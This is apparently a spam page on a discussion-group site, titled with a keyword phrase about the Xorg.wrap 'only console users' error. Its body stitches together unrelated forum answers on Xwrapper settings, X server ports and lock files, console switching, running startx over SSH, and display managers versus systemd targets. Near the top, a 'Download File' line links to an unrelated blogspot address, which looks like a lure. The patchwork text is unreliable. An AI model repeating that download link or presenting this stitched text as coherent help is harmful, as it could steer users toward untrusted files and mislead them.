Usr Libexec Xorg.wrap Only Console Users Are Allowed To Run The X Server

0 views

Skip to first unread message

Cris Luczak

unread,

Jul 31, 2024, 12:10:06 AM7/31/24

to tilohelme

If you are sure about the security implications (anyone can start the X-Server with root rights, which, since it has privileged hardware access and accesses a lot of files can open up a big security hole) and care only for functionality, not for security, for this part of your problem:

Specify which users may start the X server through the wrapper. Use rootonly to only allow root, use console to only allow users logged into a physical console, and use anybody to allow anybody. The default is console.

usr libexec xorg.wrap only console users are allowed to run the x server

Download File ✑ https://9cestdu-gese.blogspot.com/?zfzc=2zTEiL

This problem is very similar to the previous one. You will get this message possibly because the lock file was removed somehow or some other program which doesn't create a lock file is already listening on this port. You can check this by doing a netstat -ln. Xservers usually listen at tcp port 6000+, therefore if you have started your Xserver with the command line option :1 it will be listening on port 6001. Please check the article above for further information.

(Note that you are using a more modern X server config, which does not listen on any TCP ports. This is why your error happens in _XSERVTransSocketUNIXCreateListener, instead of _XSERVTransSocketInetCreateListener. But the principle is exactly the same).

Xorg also starts up with an empty cursor nowadays. It's deliberately featureless, to avoid flashes / inconsistencies when starting your graphical stuff. This has changed - when I first used Xorg, the default background and cursor were quite obtrusive. If you want to see what that looked like, you can pass the -retro option :-).

Traditionally - and I think this is the behaviour with Xwrapper - Xorg would grab an unused console and switch to it. In this case you can switch back to your previous console (see above). Of course you can switch back again to the Xorg server, once you find which number console it grabbed :-).

If you are running a virtual machine on Linux, your VM will provide some method to inject the key combination Ctrl+Alt+F1 or whatever, because pressing that key combination probably switches consoles on your real machine.

I would tell you to compare startx -- :2, which (hopefully) launches some clients as well as an X server :-). However, the most popular modern GUIs now explicitly do not support multiple sessions. So you must make sure to logout your existing GUI session, before you run startx. Otherwise, it might look like it works, but then go wrong in weird ways that you don't understand.

I was using the startx command to start DWM and I inserted it in my bashrc so that I won't have to type the startx command manually everytime I login that's when I started getting the 'only console users are allowed to use teh x server' error SO i removed the startx command from the bashrc that means i have to start the server manually but now I don't get the error anymore

I have a remote machine (htpc) that's connected to a TV 100% of the time. I gain access to it over ssh/vnc for everything except watching stuff. I'm currently running the two VNC servers supplied in the TigerVNC package, `vncserver` and `x0vncserver`. I'm not running any display managers, just using xinit to run xfce4. `x0vncserver` allows control over the current session, and for it to run correctly the remote machine needs an instance of xfce up and running. However, when I try to run startx over SSH, I get an error message saying "/usr/lib/Xorg.wrap: Only console users are allowed to run the X server". Is there a way to alias myself so that xorg thinks I'm using the console of the remote machine directly, instead of over SSH?

To clarify, I do not want to give the startx command over SSH and have an immediate graphical instance on my local machine. Rather I'd like the remote machine to think that the startx command came from the keyboard attached to it and start its own local instance of xfce, so that I can then access it via TigerVNC's `x0vncserver` service.

see man Xorg.wrap for more information. Note that it will just do what you ask, launch the X server on the remote machine. By default you will not be able to interact with it with the distant keyboard or mouse. But it can do what you want if you configure it correctly.

I was saying indeed that your way will not answer his question (launch startx over ssh) but autolaunch the Xserver (you are correct, I missed the systemd configuration); which is different. You can achieve the same thing with a login manager (for example lightdm).

A display manager like lightdm is barely an overhead. The solution of using a display manager is more standard. Moreover, the solution you suggest will launch the X server when you reach the systemd multi-user target, not the systemd graphical target. If you make a service (other than the display manager that you don't need) that depends on the graphical target, it will not be launched with your configuration.

If for some reason you want to boot the machine without launching the X server (for example because there is a problem with it) you can use the boot manager and add `systemd.unit=multi-user.target` to force the multi-user target instead of the graphical one. This will also not work if the X server is launched in the multi-user target like you suggest.

@ olive, I guess this not true, I have an archiso explicitly built like this booting into the graphical target and starting X automatically (well it starts a DM I made in bash) but you wouldn't need it, it starts without it too.
So if you don't have more than one WM it would be overhead to have a DM, at least I think so

I have said barely an overhead in the sense that using lightdm is light enough to not make a real difference: it is only 2Mb and does not slow down the boot in practice. As I said, the solution of auto launching it the way you suggest has the problem to not distinguish the multi-users from the graphical target. More standard configuration mean better tested system. I have just realized the problem about the systemd target, maybe there are other problems we didn't realize.

But if you boot into the multi-users target, you expect that the X server will not be launched; it will in your case. Another related thing that won't work (the way you expect) is `systemctl isolate multi-users.target` which is supposed to stop the X server and return you to pure multi-users.target.

The graphical target depends on the multi-users target and launch ("wants" in the systemd sense) the display-manager.service. I think that if you enable the graphical target without enabling (or maybe even installing) a display manager, then the multi-users target will be launched (as a requirement of the graphical target), which will auto launch startx. A display manager service cannot be launched since there is none. This is a working but buggy configuration. You don't have a multi-users target that work as expected leading to, among others, the problems I mention previously. Moreover if you install a display manager and enable it afterwards, the X server will be launched two times: with the auto launching of startx within the multi-users target and once again by the display manager service. This will of course fail.

Of course if you start using a DM auto launching of X needs to be disabled. I cannot speak for other DM's, mine is only working because there is 'autologin' in the first place, it's a crappy POS but working, so maybe your right, maybe he should go with a root enabled X, but I know a lot of devs also from Arch say you shouldn't login to X as root, that was my rationale to react.

Running the X server as root was the standard way a few years ago and remain necessary with some graphic drivers. If you login normally with a display manager, X will usually run as root too. Because it run before you login (to display the display manager), it cannot run as you. It was needed because the X server access the hardware directly. Now a way to run the server as a usual user is supported.

Please note that it is the X server itself that run as root; you do not login as root and your Desktop/Windows manager run as you, a regular user; you launch startx as you (which launches Xorg.wrap which is suid and can launch the X server as root). It is safe unless you are paranoid that the X server will do evil thing. That can only happen if there is a serious bug in it.